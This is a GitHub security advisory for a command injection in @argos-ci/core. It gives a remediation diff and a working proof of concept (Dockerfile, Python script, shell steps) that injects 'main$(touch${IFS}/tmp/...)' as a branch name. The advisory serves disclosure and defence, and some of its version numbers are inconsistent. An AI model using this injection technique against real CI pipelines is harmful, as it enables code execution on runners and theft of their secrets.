Skip to content

@argos-ci/core: CI Branch Name OS Command Injection

High severity GitHub Reviewed Published Jun 21, 2026 in argos-ci/argos-javascript • Updated Sep 10, 2026

Package

npm @argos-ci/core (npm)

Affected versions

<= 6.2.0

Patched versions

6.2.1

Description

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

function gitFetch(input: { ref: string; depth: number; target: string }) {
  execSync(
    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
  );
}

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

execSync(`git merge-base ${input.head} ${input.base}`)

Complete data flow (source → sink):

  1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUB_HEAD_REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch.
  4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";

 function gitFetch(input: { ref: string; depth: number; target: string }) {
-  execSync(
-    `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
-  );
+  execFileSync("git", [
+    "fetch", "--force", "--update-head-ok",
+    "--depth", String(input.depth),
+    "origin", `${input.ref}:${input.target}`,
+  ]);
 }

 function gitMergeBase(input: { base: string; head: string }) {
-  return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+  return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
 }

PoC

Prerequisites:

  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.

Step 1 — Build the Docker image:

docker build -t argos-vuln-001 \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/reports/npmAI_634_argos-ci__argos-javascript/

The Dockerfile:

  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.

Step 2 — Run the container:

docker run --rm argos-vuln-001

What the PoC (poc.py) does:

  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
    • $(...) is shell command substitution.
    • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  3. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  4. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================

The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git

# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
  if (req.url === '/v2/project') {
    res.writeHead(200, {'content-type':'application/json'});
    res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
    return;
  }
  res.writeHead(200, {'content-type':'application/json'});
  res.end('{}');
}).listen(7777);
" &

mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true

test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile

FROM node:22

# Install git and Python 3
RUN apt-get update && \
    apt-get install -y --no-install-recommends git python3 && \
    rm -rf /var/lib/apt/lists/*

# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && \
    git config --global user.name "PoC Test" && \
    git config --global init.defaultBranch main

# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git

# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
    cd /git-workspace && \
    git remote add origin /remote.git && \
    echo "initial" > README.md && \
    git add README.md && \
    git commit -m "Initial commit" && \
    git branch -M main && \
    git push -u origin main

# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo

# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn

# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py

# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace

ENTRYPOINT ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0

Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal.  Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.

Attack chain (source -> sink):
  env.GITHUB_HEAD_REF / ARGOS_BRANCH
    -> config.ts:119-122 (String cast, no sanitisation)
    -> upload.ts:285   getMergeBaseCommitSha({ head: config.branch })
    -> git.ts:123      gitFetch({ ref: input.head, ... })
    -> git.ts:89       execSync(`git fetch ... origin ${input.ref}:${input.target}`)
                       ^^^^^^^^ shell injection sink

This script:
  1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
     for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
  2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
     containing a $() command substitution.
  3. Checks for a filesystem artefact that proves execution.
"""

import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"

# Port for the mock Argos API server.
MOCK_PORT = 7777


class MockArgosAPI(BaseHTTPRequestHandler):
    """Minimal mock of the Argos REST API.

    Only two responses matter:
    - GET  /v2/project -- must return hasRemoteContentAccess=false to trigger
                          the git-based merge-base discovery code-path.
    - POST /v2/builds  -- needs to return a recognisable structure so the SDK
                          does not abort before we can observe the side-effect.
    """

    def log_message(self, fmt, *args):
        # Suppress per-request log noise; PoC progress messages are enough.
        pass

    def _send_json(self, status: int, body: dict) -> None:
        raw = json.dumps(body).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def do_GET(self):
        if self.path.rstrip("/") == "/v2/project":
            # hasRemoteContentAccess=false is the precondition that makes the
            # SDK call getMergeBaseCommitSha() instead of fetching from the
            # Git provider API.  This is the key to reaching the sink.
            self._send_json(200, {
                "id": "proj-1",
                "defaultBaseBranch": "main",
                "hasRemoteContentAccess": False,
            })
        else:
            self._send_json(200, {})

    def do_POST(self):
        # Drain request body to keep the connection clean.
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        if "/builds" in self.path:
            # Return the minimal structure the SDK dereferences after POST /builds.
            self._send_json(201, {
                "id": "build-1",
                "url": "http://localhost/build/1",
                "screenshots": [],
                "pwTraces": [],
            })
        else:
            self._send_json(200, {})

    def do_PUT(self):
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        self._send_json(200, {})


def start_mock_server() -> HTTPServer:
    server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main():
    print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
    print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
    print()

    # Remove any stale marker from a previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)

    # Start the mock Argos API.
    server = start_mock_server()
    print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")

    # Build the malicious branch name.
    # Breakdown:
    #   main              -- valid branch prefix so git ref looks plausible
    #   $(...)            -- shell command substitution, evaluated by /bin/sh
    #   touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
    #                        filters and forming "touch <path>"
    malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
    print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
    print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
    print()

    # Empty upload directory -- no real screenshots needed.  The injection
    # occurs during merge-base discovery before any upload loop runs.
    upload_dir = "/tmp/argos-empty-upload"
    os.makedirs(upload_dir, exist_ok=True)

    env = dict(os.environ)
    env.update({
        "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
        "ARGOS_TOKEN": "a" * 40,
        "ARGOS_COMMIT": "0" * 40,
        "ARGOS_BRANCH": malicious_branch,
        # Disable update-notifier noise inside the CLI.
        "NO_UPDATE_NOTIFIER": "1",
    })

    print("[*] Running: argos upload <empty-dir> --files '*.png'")
    result = subprocess.run(
        ["argos", "upload", upload_dir, "--files", "*.png"],
        env=env,
        capture_output=True,
        text=True,
        # CWD must be a git repository with an 'origin' remote so that
        # git fetch has a valid context.  /git-workspace is prepared in the
        # Dockerfile for this purpose.
        cwd="/git-workspace",
    )

    print(f"[*] CLI exit code : {result.returncode}")
    if result.stdout.strip():
        print(f"[*] CLI stdout    : {result.stdout.strip()[:600]}")
    if result.stderr.strip():
        print(f"[*] CLI stderr    : {result.stderr.strip()[:600]}")

    server.shutdown()
    print()

    # --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("=" * 60)
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"[PASS] Marker file exists: {MARKER_FILE}")
        print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
        print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
        print("=" * 60)
        sys.exit(0)
    else:
        print("=" * 60)
        print("[FAIL] Marker file not found -- injection did not trigger.")
        print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
        print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
        print("=" * 60)
        sys.exit(1)


if __name__ == "__main__":
    main()

References

@gregberge gregberge published to argos-ci/argos-javascript Jun 21, 2026
Published to the GitHub Advisory Database Sep 10, 2026
Reviewed Sep 10, 2026
Last updated Sep 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-59960

GHSA ID

GHSA-4x45-gxvp-6283

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.